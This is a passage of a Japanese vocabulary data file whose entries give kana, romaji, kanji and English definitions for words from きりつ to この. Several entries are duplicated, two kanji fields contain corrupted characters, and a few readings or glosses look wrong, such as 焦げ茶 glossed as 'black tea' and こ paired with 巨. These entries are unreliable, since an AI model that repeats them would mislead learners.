over\"\n\t},\n\n\t{\n\t\t'kana':'きりつ',\n\t\t'romaji':'kiritsu',\n\t\t'kanji':'規律',\n\t\t'definition':\"order;rules;law\"\n\t},\n\n\t{\n\t\t'kana':'キロ',\n\t\t'romaji':'kiro',\n\t\t'kanji':'',\n\t\t'definition':\"kilo-;kilogram;kilometre;10^3\"\n\t},\n\n\t{\n\t\t'kana':'きろく',\n\t\t'romaji':'kiroku',\n\t\t'kanji':'記録',\n\t\t'definition':\"record;minutes;document\"\n\t},\n\n\t{\n\t\t'kana':'きる',\n\t\t'romaji':'kiru',\n\t\t'kanji':'斬る',\n\t\t'definition':\"to behead;to murder\"\n\t},\n\n\t{\n\t\t'kana':'きる',\n\t\t'romaji':'kiru',\n\t\t'kanji':'着る',\n\t\t'definition':\"to wear;to put on (from shoulders down)\"\n\t},\n\n\t{\n\t\t'kana':'きる',\n\t\t'romaji':'kiru',\n\t\t'kanji':'斬る',\n\t\t'definition':\"to behead;to murder\"\n\t},\n\n\t{\n\t\t'kana':'きる',\n\t\t'romaji':'kiru',\n\t\t'kanji':'切る',\n\t\t'definition':\"to cut;to chop;to hash;to carve;to saw;to clip;to shear;to slice;to strip;to fell;to cut down;to punch;to sever (connections);to pause;to break off;to disconnect;to turn off;to hang up;to cross (a street);to discount;to sell below cost;to shake (water) of\"\n\t},\n\n\t{\n\t\t'kana':'きりゅう',\n\t\t'romaji':'kiryuu',\n\t\t'kanji':'気流',\n\t\t'definition':\"atmospheric current\"\n\t},\n\n\t{\n\t\t'kana':'きっさ',\n\t\t'romaji':'kisa',\n\t\t'kanji':'喫茶',\n\t\t'definition':\"tea drinking;tea house\"\n\t},\n\n\t{\n\t\t'kana':'きさい',\n\t\t'romaji':'kisai',\n\t\t'kanji':'記載',\n\t\t'definition':\"mention;entry\"\n\t},\n\n\t{\n\t\t'kana':'きせい',\n\t\t'romaji':'kisei',\n\t\t'kanji':'規制',\n\t\t'definition':\"regulation\"\n\t},\n\n\t{\n\t\t'kana':'きせん',\n\t\t'romaji':'kisen',\n\t\t'kanji':'汽船',\n\t\t'definition':\"steamship\"\n\t},\n\n\t{\n\t\t'kana':'きせる',\n\t\t'romaji':'kiseru',\n\t\t'kanji':'着せる',\n\t\t'definition':\"to put on clothes\"\n\t},\n\n\t{\n\t\t'kana':'きせつ',\n\t\t'romaji':'kisetsu',\n\t\t'kanji':'季節',\n\t\t'definition':\"season\"\n\t},\n\n\t{\n\t\t'kana':'きしゃ',\n\t\t'romaji':'kisha',\n\t\t'kanji':'記者',\n\t\t'definition':\"reporter\"\n\t},\n\n\t{\n\t\t'kana':'きしゃ',\n\t\t'romaji':'kisha',\n\t\t'kanji':'汽車',\n\t\t'definition':\"train (steam)\"\n\t},\n\n\t{\n\t\t'kana':'きし',\n\t\t'romaji':'kishi',\n\t\t'kanji':'岸',\n\t\t'definition':\"bank;coast;shore\"\n\t},\n\n\t{\n\t\t'kana':'きしむ',\n\t\t'romaji':'kishimu',\n\t\t'kanji':'軋む',\n\t\t'definition':\"to jar;to creak;to grate\"\n\t},\n\n\t{\n\t\t'kana':'きしょう',\n\t\t'romaji':'kishou',\n\t\t'kanji':'起床',\n\t\t'definition':\"rising;getting out of bed\"\n\t},\n\n\t{\n\t\t'kana':'きしょう',\n\t\t'romaji':'kishou',\n\t\t'kanji':'気象',\n\t\t'definition':\"weather;climate\"\n\t},\n\n\t{\n\t\t'kana':'きそ',\n\t\t'romaji':'kiso',\n\t\t'kanji':'基礎',\n\t\t'definition':\"foundation;basis\"\n\t},\n\n\t{\n\t\t'kana':'きそく',\n\t\t'romaji':'kisoku',\n\t\t'kanji':'規則',\n\t\t'definition':\"rule;regulations\"\n\t},\n\n\t{\n\t\t'kana':'きそう',\n\t\t'romaji':'kisou',\n\t\t'kanji':'寄贈',\n\t\t'definition':\"donation;presentation\"\n\t},\n\n\t{\n\t\t'kana':'きすう',\n\t\t'romaji':'kisuu',\n\t\t'kanji':'奇数',\n\t\t'definition':\"odd number\"\n\t},\n\n\t{\n\t\t'kana':'きた',\n\t\t'romaji':'kita',\n\t\t'kanji':'北',\n\t\t'definition':\"North\"\n\t},\n\n\t{\n\t\t'kana':'きたえる',\n\t\t'romaji':'kitaeru',\n\t\t'kanji':'鍛える',\n\t\t'definition':\"to forge;to drill;to temper;to train;to discipline\"\n\t},\n\n\t{\n\t\t'kana':'きたい',\n\t\t'romaji':'kitai',\n\t\t'kanji':'気体',\n\t\t'definition':\"vapour;gas\"\n\t},\n\n\t{\n\t\t'kana':'きたい',\n\t\t'romaji':'kitai',\n\t\t'kanji':'期待',\n\t\t'definition':\"expectation;anticipation;hope\"\n\t},\n\n\t{\n\t\t'kana':'きたく',\n\t\t'romaji':'kitaku',\n\t\t'kanji':'帰宅',\n\t\t'definition':\"returning home\"\n\t},\n\n\t{\n\t\t'kana':'きたない',\n\t\t'romaji':'kitanai',\n\t\t'kanji':'汚い',\n\t\t'definition':\"dirty;unclean;filthy\"\n\t},\n\n\t{\n\t\t'kana':'きたる',\n\t\t'romaji':'kitaru',\n\t\t'kanji':'来る',\n\t\t'definition':\"to come;to arrive;to be due to;to be next;to be forthcoming\"\n\t},\n\n\t{\n\t\t'kana':'きたる',\n\t\t'romaji':'kitaru',\n\t\t'kanji':'来る',\n\t\t'definition':\"to come;to arrive;to be due to;to be next;to be forthcoming\"\n\t},\n\n\t{\n\t\t'kana':'きって',\n\t\t'romaji':'kite',\n\t\t'kanji':'切手',\n\t\t'definition':\"stamp (postage);merchandise certificate\"\n\t},\n\n\t{\n\t\t'kana':'きてい',\n\t\t'romaji':'kitei',\n\t\t'kanji':'規定',\n\t\t'definition':\"regulation;provisions\"\n\t},\n\n\t{\n\t\t'kana':'きてん',\n\t\t'romaji':'kiten',\n\t\t'kanji':'起点',\n\t\t'definition':\"starting point\"\n\t},\n\n\t{\n\t\t'kana':'きっと',\n\t\t'romaji':'kito',\n\t\t'kanji':'屹度',\n\t\t'definition':\"1. (uk) surely;undoubtedly;certainly;without fail; 2. sternly;severely\"\n\t},\n\n\t{\n\t\t'kana':'きつい',\n\t\t'romaji':'kitsui',\n\t\t'kanji':'',\n\t\t'definition':\"tight;close;intense\"\n\t},\n\n\t{\n\t\t'kana':'きわ',\n\t\t'romaji':'kiwa',\n\t\t'kanji':'際',\n\t\t'definition':\"edge;brink;verge;side\"\n\t},\n\n\t{\n\t\t'kana':'きわめて',\n\t\t'romaji':'kiwamete',\n\t\t'kanji':'極���て',\n\t\t'definition':\"exceedingly;extremely\"\n\t},\n\n\t{\n\t\t'kana':'きわた',\n\t\t'romaji':'kiwata',\n\t\t'kanji':'木綿',\n\t\t'definition':\"cotton\"\n\t},\n\n\t{\n\t\t'kana':'きをつける',\n\t\t'romaji':'kiwotsukeru',\n\t\t'kanji':'気を付ける',\n\t\t'definition':\"to be careful;to pay attention;to take care\"\n\t},\n\n\t{\n\t\t'kana':'きやく',\n\t\t'romaji':'kiyaku',\n\t\t'kanji':'規約',\n\t\t'definition':\"agreement;rules;code\"\n\t},\n\n\t{\n\t\t'kana':'きよ',\n\t\t'romaji':'kiyo',\n\t\t'kanji':'寄与',\n\t\t'definition':\"contribution;service\"\n\t},\n\n\t{\n\t\t'kana':'きよい',\n\t\t'romaji':'kiyoi',\n\t\t'kanji':'清い',\n\t\t'definition':\"clear;pure;noble\"\n\t},\n\n\t{\n\t\t'kana':'きよらか',\n\t\t'romaji':'kiyoraka',\n\t\t'kanji':'清らか',\n\t\t'definition':\"clean;pure;chaste\"\n\t},\n\n\t{\n\t\t'kana':'きよう',\n\t\t'romaji':'kiyou',\n\t\t'kanji':'器用',\n\t\t'definition':\"skillful;handy\"\n\t},\n\n\t{\n\t\t'kana':'きざ',\n\t\t'romaji':'kiza',\n\t\t'kanji':'気障',\n\t\t'definition':\"affectation;conceit;snobbery\"\n\t},\n\n\t{\n\t\t'kana':'きざむ',\n\t\t'romaji':'kizamu',\n\t\t'kanji':'刻む',\n\t\t'definition':\"to mince;to carve;to engrave;to cut fine;to chop up;to hash;to chisel;to notch\"\n\t},\n\n\t{\n\t\t'kana':'きざし',\n\t\t'romaji':'kizashi',\n\t\t'kanji':'兆',\n\t\t'definition':\"signs;omen;symptoms\"\n\t},\n\n\t{\n\t\t'kana':'きざし',\n\t\t'romaji':'kizashi',\n\t\t'kanji':'兆し',\n\t\t'definition':\"signs;omen;symptoms\"\n\t},\n\n\t{\n\t\t'kana':'きぞく',\n\t\t'romaji':'kizoku',\n\t\t'kanji':'貴族',\n\t\t'definition':\"noble;aristocrat\"\n\t},\n\n\t{\n\t\t'kana':'きず',\n\t\t'romaji':'kizu',\n\t\t'kanji':'傷',\n\t\t'definition':\"wound;injury;hurt;cut;gash;bruise;scratch;scar;weak point\"\n\t},\n\n\t{\n\t\t'kana':'きずく',\n\t\t'romaji':'kizuku',\n\t\t'kanji':'築く',\n\t\t'definition':\"to build;to pile up;to amass\"\n\t},\n\n\t{\n\t\t'kana':'きずつける',\n\t\t'romaji':'kizutsukeru',\n\t\t'kanji':'傷付ける',\n\t\t'definition':\"to wound;to hurt someone's feelings\"\n\t},\n\n\t{\n\t\t'kana':'きずつく',\n\t\t'romaji':'kizutsuku',\n\t\t'kanji':'傷付く',\n\t\t'definition':\"to be hurt;to be wounded;to get injured\"\n\t},\n\n\t{\n\t\t'kana':'こ',\n\t\t'romaji':'ko',\n\t\t'kanji':'巨',\n\t\t'definition':\"big;large;great\"\n\t},\n\n\t{\n\t\t'kana':'こ',\n\t\t'romaji':'ko',\n\t\t'kanji':'児',\n\t\t'definition':\"child;the young of animals\"\n\t},\n\n\t{\n\t\t'kana':'こ',\n\t\t'romaji':'ko',\n\t\t'kanji':'故',\n\t\t'definition':\"the late (deceased)\"\n\t},\n\n\t{\n\t\t'kana':'こ',\n\t\t'romaji':'ko',\n\t\t'kanji':'戸',\n\t\t'definition':\"counter for houses\"\n\t},\n\n\t{\n\t\t'kana':'こ',\n\t\t'romaji':'ko',\n\t\t'kanji':'子',\n\t\t'definition':\"child\"\n\t},\n\n\t{\n\t\t'kana':'こ',\n\t\t'romaji':'ko',\n\t\t'kanji':'故',\n\t\t'definition':\"the late (deceased)\"\n\t},\n\n\t{\n\t\t'kana':'こべつ',\n\t\t'romaji':'kobetsu',\n\t\t'kanji':'個別',\n\t\t'definition':\"particular case\"\n\t},\n\n\t{\n\t\t'kana':'こぼれる',\n\t\t'romaji':'koboreru',\n\t\t'kanji':'零れる',\n\t\t'definition':\"to overflow;to spill\"\n\t},\n\n\t{\n\t\t'kana':'こぼす',\n\t\t'romaji':'kobosu',\n\t\t'kanji':'零す',\n\t\t'definition':\"to spill\"\n\t},\n\n\t{\n\t\t'kana':'コーチ',\n\t\t'romaji':'ko-chi',\n\t\t'kanji':'',\n\t\t'definition':\"coach\"\n\t},\n\n\t{\n\t\t'kana':'こちら',\n\t\t'romaji':'kochira',\n\t\t'kanji':'',\n\t\t'definition':\"this person;this direction;this side\"\n\t},\n\n\t{\n\t\t'kana':'こちらこそ',\n\t\t'romaji':'kochirakoso',\n\t\t'kanji':'',\n\t\t'definition':\"it is I who should say so\"\n\t},\n\n\t{\n\t\t'kana':'こちょう',\n\t\t'romaji':'kochou',\n\t\t'kanji':'誇張',\n\t\t'definition':\"exaggeration\"\n\t},\n\n\t{\n\t\t'kana':'こだい',\n\t\t'romaji':'kodai',\n\t\t'kanji':'古代',\n\t\t'definition':\"ancient times\"\n\t},\n\n\t{\n\t\t'kana':'こだわる',\n\t\t'romaji':'kodawaru',\n\t\t'kanji':'',\n\t\t'definition':\"to fuss over;to be particular about;to be concerned about\"\n\t},\n\n\t{\n\t\t'kana':'コード',\n\t\t'romaji':'ko-do',\n\t\t'kanji':'',\n\t\t'definition':\"code;cord;chord\"\n\t},\n\n\t{\n\t\t'kana':'こどく',\n\t\t'romaji':'kodoku',\n\t\t'kanji':'孤独',\n\t\t'definition':\"isolation;loneliness;solitude\"\n\t},\n\n\t{\n\t\t'kana':'こども',\n\t\t'romaji':'kodomo',\n\t\t'kanji':'子供',\n\t\t'definition':\"child;children\"\n\t},\n\n\t{\n\t\t'kana':'こづかい',\n\t\t'romaji':'kodukai',\n\t\t'kanji':'小遣い',\n\t\t'definition':\"personal expenses;pocket money;spending money;incidental expenses;allowance\"\n\t},\n\n\t{\n\t\t'kana':'こづつみ',\n\t\t'romaji':'kodutsumi',\n\t\t'kanji':'小包',\n\t\t'definition':\"parcel;package\"\n\t},\n\n\t{\n\t\t'kana':'こえ',\n\t\t'romaji':'koe',\n\t\t'kanji':'声',\n\t\t'definition':\"voice\"\n\t},\n\n\t{\n\t\t'kana':'こえる',\n\t\t'romaji':'koeru',\n\t\t'kanji':'超える',\n\t\t'definition':\"to cross over;to cross;to pass through;to pass over (out of)\"\n\t},\n\n\t{\n\t\t'kana':'こえる',\n\t\t'romaji':'koeru',\n\t\t'kanji':'越える',\n\t\t'definition':\"to cross over;to cross;to pass through;to pass over (out of)\"\n\t},\n\n\t{\n\t\t'kana':'こがら',\n\t\t'romaji':'kogara',\n\t\t'kanji':'小柄',\n\t\t'definition':\"short (build)\"\n\t},\n\n\t{\n\t\t'kana':'こがす',\n\t\t'romaji':'kogasu',\n\t\t'kanji':'焦がす',\n\t\t'definition':\"to burn;to scorch;to singe;to char\"\n\t},\n\n\t{\n\t\t'kana':'こげちゃ',\n\t\t'romaji':'kogecha',\n\t\t'kanji':'焦げ茶',\n\t\t'definition':\"black tea\"\n\t},\n\n\t{\n\t\t'kana':'こげる',\n\t\t'romaji':'kogeru',\n\t\t'kanji':'焦げる',\n\t\t'definition':\"to burn;to be burned\"\n\t},\n\n\t{\n\t\t'kana':'こぎって',\n\t\t'romaji':'kogite',\n\t\t'kanji':'小切手',\n\t\t'definition':\"cheque;check\"\n\t},\n\n\t{\n\t\t'kana':'こごえる',\n\t\t'romaji':'kogoeru',\n\t\t'kanji':'凍える',\n\t\t'definition':\"to freeze;to be chilled;to be frozen\"\n\t},\n\n\t{\n\t\t'kana':'こごらす',\n\t\t'romaji':'kogorasu',\n\t\t'kanji':'凝らす',\n\t\t'definition':\"to freeze;to congeal\"\n\t},\n\n\t{\n\t\t'kana':'こごる',\n\t\t'romaji':'kogoru',\n\t\t'kanji':'凝る',\n\t\t'definition':\"to congeal;to freeze\"\n\t},\n\n\t{\n\t\t'kana':'こぐ',\n\t\t'romaji':'kogu',\n\t\t'kanji':'漕ぐ',\n\t\t'definition':\"to row;to scull;to pedal\"\n\t},\n\n\t{\n\t\t'kana':'コーヒー',\n\t\t'romaji':'ko-hi-',\n\t\t'kanji':'',\n\t\t'definition':\"coffee\"\n\t},\n\n\t{\n\t\t'kana':'こい',\n\t\t'romaji':'koi',\n\t\t'kanji':'濃い',\n\t\t'definition':\"thick;dense;strong\"\n\t},\n\n\t{\n\t\t'kana':'こい',\n\t\t'romaji':'koi',\n\t\t'kanji':'恋',\n\t\t'definition':\"love;tender passion\"\n\t},\n\n\t{\n\t\t'kana':'こいびと',\n\t\t'romaji':'koibito',\n\t\t'kanji':'恋人',\n\t\t'definition':\"lover;sweetheart\"\n\t},\n\n\t{\n\t\t'kana':'こいしい',\n\t\t'romaji':'koishii',\n\t\t'kanji':'恋しい',\n\t\t'definition':\"1. dear;beloved;darling; 2. yearned for\"\n\t},\n\n\t{\n\t\t'kana':'こいする',\n\t\t'romaji':'koisuru',\n\t\t'kanji':'恋する',\n\t\t'definition':\"to fall in love with;to love\"\n\t},\n\n\t{\n\t\t'kana':'こじ',\n\t\t'romaji':'koji',\n\t\t'kanji':'孤児',\n\t\t'definition':\"orphan\"\n\t},\n\n\t{\n\t\t'kana':'こじん',\n\t\t'romaji':'kojin',\n\t\t'kanji':'個人',\n\t\t'definition':\"individual;private person;personal;private\"\n\t},\n\n\t{\n\t\t'kana':'こじん',\n\t\t'romaji':'kojin',\n\t\t'kanji':'故人',\n\t\t'definition':\"the deceased;old friend\"\n\t},\n\n\t{\n\t\t'kana':'こじれる',\n\t\t'romaji':'kojireru',\n\t\t'kanji':'拗れる',\n\t\t'definition':\"to get complicated;to grow worse\"\n\t},\n\n\t{\n\t\t'kana':'こっか',\n\t\t'romaji':'koka',\n\t\t'kanji':'国家',\n\t\t'definition':\"state;country;nation\"\n\t},\n\n\t{\n\t\t'kana':'こっかい',\n\t\t'romaji':'kokkai',\n\t\t'kanji':'国会',\n\t\t'definition':\"National Diet;parliament;congress\"\n\t},\n\n\t{\n\t\t'kana':'こっけい',\n\t\t'romaji':'kokkei',\n\t\t'kanji':'滑稽',\n\t\t'definition':\"funny;humorous;comical;laughable;ridiculous;joking\"\n\t},\n\n\t{\n\t\t'kana':'こっこう',\n\t\t'romaji':'kokkou',\n\t\t'kanji':'国交',\n\t\t'definition':\"diplomatic relations\"\n\t},\n\n\t{\n\t\t'kana':'ここ',\n\t\t'romaji':'koko',\n\t\t'kanji':'箇箇',\n\t\t'definition':\"individual;separate\"\n\t},\n\n\t{\n\t\t'kana':'ここ',\n\t\t'romaji':'koko',\n\t\t'kanji':'個々',\n\t\t'definition':\"individual;one by one\"\n\t},\n\n\t{\n\t\t'kana':'ここち',\n\t\t'romaji':'kokochi',\n\t\t'kanji':'心地',\n\t\t'definition':\"feeling;sensation;mood\"\n\t},\n\n\t{\n\t\t'kana':'ここのか',\n\t\t'romaji':'kokonoka',\n\t\t'kanji':'九日',\n\t\t'definition':\"nine days;the ninth day (of the month)\"\n\t},\n\n\t{\n\t\t'kana':'ここのつ',\n\t\t'romaji':'kokonotsu',\n\t\t'kanji':'九つ',\n\t\t'definition':\"nine\"\n\t},\n\n\t{\n\t\t'kana':'こころ',\n\t\t'romaji':'kokoro',\n\t\t'kanji':'心',\n\t\t'definition':\"mind;heart;spirit\"\n\t},\n\n\t{\n\t\t'kana':'こころ',\n\t\t'romaji':'kokoro',\n\t\t'kanji':'心',\n\t\t'definition':\"mind;heart;spirit\"\n\t},\n\n\t{\n\t\t'kana':'こころあたり',\n\t\t'romaji':'kokoroatari',\n\t\t'kanji':'心当たり',\n\t\t'definition':\"having some knowledge of;happening to know\"\n\t},\n\n\t{\n\t\t'kana':'こころぼそい',\n\t\t'romaji':'kokorobosoi',\n\t\t'kanji':'心細い',\n\t\t'definition':\"helpless;forlorn;hopeless;unpromising;lonely;discouraging;disheartening\"\n\t},\n\n\t{\n\t\t'kana':'こころづよい',\n\t\t'romaji':'kokoroduyoi',\n\t\t'kanji':'心強い',\n\t\t'definition':\"heartening;reassuring\"\n\t},\n\n\t{\n\t\t'kana':'こころえ',\n\t\t'romaji':'kokoroe',\n\t\t'kanji':'心得',\n\t\t'definition':\"knowledge;information\"\n\t},\n\n\t{\n\t\t'kana':'こころえる',\n\t\t'romaji':'kokoroeru',\n\t\t'kanji':'心得る',\n\t\t'definition':\"to be informed;to have thorough knowledge\"\n\t},\n\n\t{\n\t\t'kana':'こころがけ',\n\t\t'romaji':'kokorogake',\n\t\t'kanji':'心掛け',\n\t\t'definition':\"readiness;intention;aim\"\n\t},\n\n\t{\n\t\t'kana':'こころがける',\n\t\t'romaji':'kokorogakeru',\n\t\t'kanji':'��掛ける',\n\t\t'definition':\"to bear in mind;to aim to do\"\n\t},\n\n\t{\n\t\t'kana':'こころみ',\n\t\t'romaji':'kokoromi',\n\t\t'kanji':'試み',\n\t\t'definition':\"trial;experiment\"\n\t},\n\n\t{\n\t\t'kana':'こころみる',\n\t\t'romaji':'kokoromiru',\n\t\t'kanji':'試みる',\n\t\t'definition':\"to try;to test\"\n\t},\n\n\t{\n\t\t'kana':'こころよい',\n\t\t'romaji':'kokoroyoi',\n\t\t'kanji':'快い',\n\t\t'definition':\"pleasant;agreeable\"\n\t},\n\n\t{\n\t\t'kana':'こころざし',\n\t\t'romaji':'kokorozashi',\n\t\t'kanji':'志',\n\t\t'definition':\"will;intention;motive\"\n\t},\n\n\t{\n\t\t'kana':'こころざす',\n\t\t'romaji':'kokorozasu',\n\t\t'kanji':'志す',\n\t\t'definition':\"to plan;to intend;to aspire to;to set aims (sights on)\"\n\t},\n\n\t{\n\t\t'kana':'コック',\n\t\t'romaji':'koku',\n\t\t'kanji':'',\n\t\t'definition':\"1. cook (nl:); 2. tap;spigot;faucet;cock\"\n\t},\n\n\t{\n\t\t'kana':'こくばん',\n\t\t'romaji':'kokuban',\n\t\t'kanji':'黒板',\n\t\t'definition':\"blackboard\"\n\t},\n\n\t{\n\t\t'kana':'こくぼう',\n\t\t'romaji':'kokubou',\n\t\t'kanji':'国防',\n\t\t'definition':\"national defence\"\n\t},\n\n\t{\n\t\t'kana':'こくど',\n\t\t'romaji':'kokudo',\n\t\t'kanji':'国土',\n\t\t'definition':\"realm\"\n\t},\n\n\t{\n\t\t'kana':'こくふく',\n\t\t'romaji':'kokufuku',\n\t\t'kanji':'克服',\n\t\t'definition':\"subjugation;conquest\"\n\t},\n\n\t{\n\t\t'kana':'こくご',\n\t\t'romaji':'kokugo',\n\t\t'kanji':'国語',\n\t\t'definition':\"national language\"\n\t},\n\n\t{\n\t\t'kana':'こくはく',\n\t\t'romaji':'kokuhaku',\n\t\t'kanji':'告白',\n\t\t'definition':\"confession;acknowledgement\"\n\t},\n\n\t{\n\t\t'kana':'こくみん',\n\t\t'romaji':'kokumin',\n\t\t'kanji':'国民',\n\t\t'definition':\"national;people;citizen\"\n\t},\n\n\t{\n\t\t'kana':'こくもつ',\n\t\t'romaji':'kokumotsu',\n\t\t'kanji':'穀物',\n\t\t'definition':\"grain;cereal;corn\"\n\t},\n\n\t{\n\t\t'kana':'こくおう',\n\t\t'romaji':'kokuou',\n\t\t'kanji':'国王',\n\t\t'definition':\"king\"\n\t},\n\n\t{\n\t\t'kana':'こくれん',\n\t\t'romaji':'kokuren',\n\t\t'kanji':'国連',\n\t\t'definition':\"U.N.;United Nations\"\n\t},\n\n\t{\n\t\t'kana':'こくりつ',\n\t\t'romaji':'kokuritsu',\n\t\t'kanji':'国立',\n\t\t'definition':\"national\"\n\t},\n\n\t{\n\t\t'kana':'こくさい',\n\t\t'romaji':'kokusai',\n\t\t'kanji':'国際',\n\t\t'definition':\"international\"\n\t},\n\n\t{\n\t\t'kana':'こくさん',\n\t\t'romaji':'kokusan',\n\t\t'kanji':'国産',\n\t\t'definition':\"domestic products\"\n\t},\n\n\t{\n\t\t'kana':'こくせき',\n\t\t'romaji':'kokuseki',\n\t\t'kanji':'国籍',\n\t\t'definition':\"nationality\"\n\t},\n\n\t{\n\t\t'kana':'こくてい',\n\t\t'romaji':'kokutei',\n\t\t'kanji':'国定',\n\t\t'definition':\"state-sponsored;national\"\n\t},\n\n\t{\n\t\t'kana':'こくゆう',\n\t\t'romaji':'kokuyuu',\n\t\t'kanji':'国有',\n\t\t'definition':\"national ownership\"\n\t},\n\n\t{\n\t\t'kana':'こきょう',\n\t\t'romaji':'kokyou',\n\t\t'kanji':'故郷',\n\t\t'definition':\"home town;birthplace;old village;historic village;native place;one's old home\"\n\t},\n\n\t{\n\t\t'kana':'こきょう',\n\t\t'romaji':'kokyou',\n\t\t'kanji':'故郷',\n\t\t'definition':\"home town;birthplace;old village;historic village;native place;one's old home\"\n\t},\n\n\t{\n\t\t'kana':'こきゅう',\n\t\t'romaji':'kokyuu',\n\t\t'kanji':'呼吸',\n\t\t'definition':\"breath;respiration\"\n\t},\n\n\t{\n\t\t'kana':'こまかい',\n\t\t'romaji':'komakai',\n\t\t'kanji':'細かい',\n\t\t'definition':\"small;fine;minute\"\n\t},\n\n\t{\n\t\t'kana':'こまる',\n\t\t'romaji':'komaru',\n\t\t'kanji':'困る',\n\t\t'definition':\"to be worried;to be bothered\"\n\t},\n\n\t{\n\t\t'kana':'コマーシャル',\n\t\t'romaji':'koma-syaru',\n\t\t'kanji':'',\n\t\t'definition':\"a commercial\"\n\t},\n\n\t{\n\t\t'kana':'こまやか',\n\t\t'romaji':'komayaka',\n\t\t'kanji':'細やか',\n\t\t'definition':\"friendly\"\n\t},\n\n\t{\n\t\t'kana':'こめ',\n\t\t'romaji':'kome',\n\t\t'kanji':'米',\n\t\t'definition':\"uncooked rice\"\n\t},\n\n\t{\n\t\t'kana':'コメント',\n\t\t'romaji':'komento',\n\t\t'kanji':'',\n\t\t'definition':\"comment\"\n\t},\n\n\t{\n\t\t'kana':'こめる',\n\t\t'romaji':'komeru',\n\t\t'kanji':'込める',\n\t\t'definition':\"to include;to put into\"\n\t},\n\n\t{\n\t\t'kana':'こもる',\n\t\t'romaji':'komoru',\n\t\t'kanji':'篭る',\n\t\t'definition':\"to seclude oneself;to be confined in;to be implied;to be stuffy\"\n\t},\n\n\t{\n\t\t'kana':'こむ',\n\t\t'romaji':'komu',\n\t\t'kanji':'込む',\n\t\t'definition':\"to be crowded\"\n\t},\n\n\t{\n\t\t'kana':'こむ',\n\t\t'romaji':'komu',\n\t\t'kanji':'込む',\n\t\t'definition':\"to be crowded\"\n\t},\n\n\t{\n\t\t'kana':'こむ',\n\t\t'romaji':'komu',\n\t\t'kanji':'混む',\n\t\t'definition':\"to be crowded\"\n\t},\n\n\t{\n\t\t'kana':'こむぎ',\n\t\t'romaji':'komugi',\n\t\t'kanji':'小麦',\n\t\t'definition':\"wheat\"\n\t},\n\n\t{\n\t\t'kana':'コミュニケーション',\n\t\t'romaji':'komyunike-syon',\n\t\t'kanji':'',\n\t\t'definition':\"communication\"\n\t},\n\n\t{\n\t\t'kana':'こん',\n\t\t'romaji':'kon',\n\t\t'kanji':'紺',\n\t\t'definition':\"navy blue;deep blue\"\n\t},\n\n\t{\n\t\t'kana':'こん',\n\t\t'romaji':'kon',\n\t\t'kanji':'魂',\n\t\t'definition':\"soul;spirit\"\n\t},\n\n\t{\n\t\t'kana':'こな',\n\t\t'romaji':'kona',\n\t\t'kanji':'粉',\n\t\t'definition':\"flour;meal;powder\"\n\t},\n\n\t{\n\t\t'kana':'コーナー',\n\t\t'romaji':'ko-na-',\n\t\t'kanji':'',\n\t\t'definition':\"corner\"\n\t},\n\n\t{\n\t\t'kana':'こなごな',\n\t\t'romaji':'konagona',\n\t\t'kanji':'粉々',\n\t\t'definition':\"in very small pieces\"\n\t},\n\n\t{\n\t\t'kana':'こないだ',\n\t\t'romaji':'konaida',\n\t\t'kanji':'',\n\t\t'definition':\"the other day;lately;recently\"\n\t},\n\n\t{\n\t\t'kana':'こんばんは',\n\t\t'romaji':'konbanha',\n\t\t'kanji':'今晩は',\n\t\t'definition':\"good evening\"\n\t},\n\n\t{\n\t\t'kana':'こんちゅう',\n\t\t'romaji':'konchuu',\n\t\t'kanji':'昆虫',\n\t\t'definition':\"insect;bug\"\n\t},\n\n\t{\n\t\t'kana':'こんだて',\n\t\t'romaji':'kondate',\n\t\t'kanji':'献立',\n\t\t'definition':\"menu;program;schedule\"\n\t},\n\n\t{\n\t\t'kana':'こんど',\n\t\t'romaji':'kondo',\n\t\t'kanji':'今度',\n\t\t'definition':\"now;this time;next time;another time\"\n\t},\n\n\t{\n\t\t'kana':'こんどう',\n\t\t'romaji':'kondou',\n\t\t'kanji':'混同',\n\t\t'definition':\"confusion;mixing;merger\"\n\t},\n\n\t{\n\t\t'kana':'こんご',\n\t\t'romaji':'kongo',\n\t\t'kanji':'今後',\n\t\t'definition':\"from now on;hereafter\"\n\t},\n\n\t{\n\t\t'kana':'こんごう',\n\t\t'romaji':'kongou',\n\t\t'kanji':'混合',\n\t\t'definition':\"mixing;mixture\"\n\t},\n\n\t{\n\t\t'kana':'こんかい',\n\t\t'romaji':'konkai',\n\t\t'kanji':'今回',\n\t\t'definition':\"now;this time;lately\"\n\t},\n\n\t{\n\t\t'kana':'こんけつ',\n\t\t'romaji':'konketsu',\n\t\t'kanji':'混血',\n\t\t'definition':\"mixed race;mixed parentage\"\n\t},\n\n\t{\n\t\t'kana':'こんき',\n\t\t'romaji':'konki',\n\t\t'kanji':'根気',\n\t\t'definition':\"patience;perseverance;energy\"\n\t},\n\n\t{\n\t\t'kana':'コンクリート',\n\t\t'romaji':'konkuri-to',\n\t\t'kanji':'',\n\t\t'definition':\"concrete\"\n\t},\n\n\t{\n\t\t'kana':'コンクール',\n\t\t'romaji':'konku-ru',\n\t\t'kanji':'',\n\t\t'definition':\"(fr:) (n) contest (fr: concours)\"\n\t},\n\n\t{\n\t\t'kana':'こんきょ',\n\t\t'romaji':'konkyo',\n\t\t'kanji':'根拠',\n\t\t'definition':\"basis;foundation\"\n\t},\n\n\t{\n\t\t'kana':'こんな',\n\t\t'romaji':'konna',\n\t\t'kanji':'',\n\t\t'definition':\"such;like this\"\n\t},\n\n\t{\n\t\t'kana':'こんなん',\n\t\t'romaji':'konnan',\n\t\t'kanji':'困難',\n\t\t'definition':\"difficulty;distress\"\n\t},\n\n\t{\n\t\t'kana':'こんなに',\n\t\t'romaji':'konnani',\n\t\t'kanji':'',\n\t\t'definition':\"so;like this;in this way\"\n\t},\n\n\t{\n\t\t'kana':'こんにちは',\n\t\t'romaji':'konnichiha',\n\t\t'kanji':'今日は',\n\t\t'definition':\"hello;good day (daytime greeting id)\"\n\t},\n\n\t{\n\t\t'kana':'この',\n\t\t'romaji':'kono',\n\t\t'kanji':'此の',\n\t\t'definition':\"this\"\n\t},\n\n\t{\n\t\t'kana':'このあいだ',\n\t\t'romaji':'konoaida',\n\t\t'kanji':'この間',\n\t\t'definition':\"the other 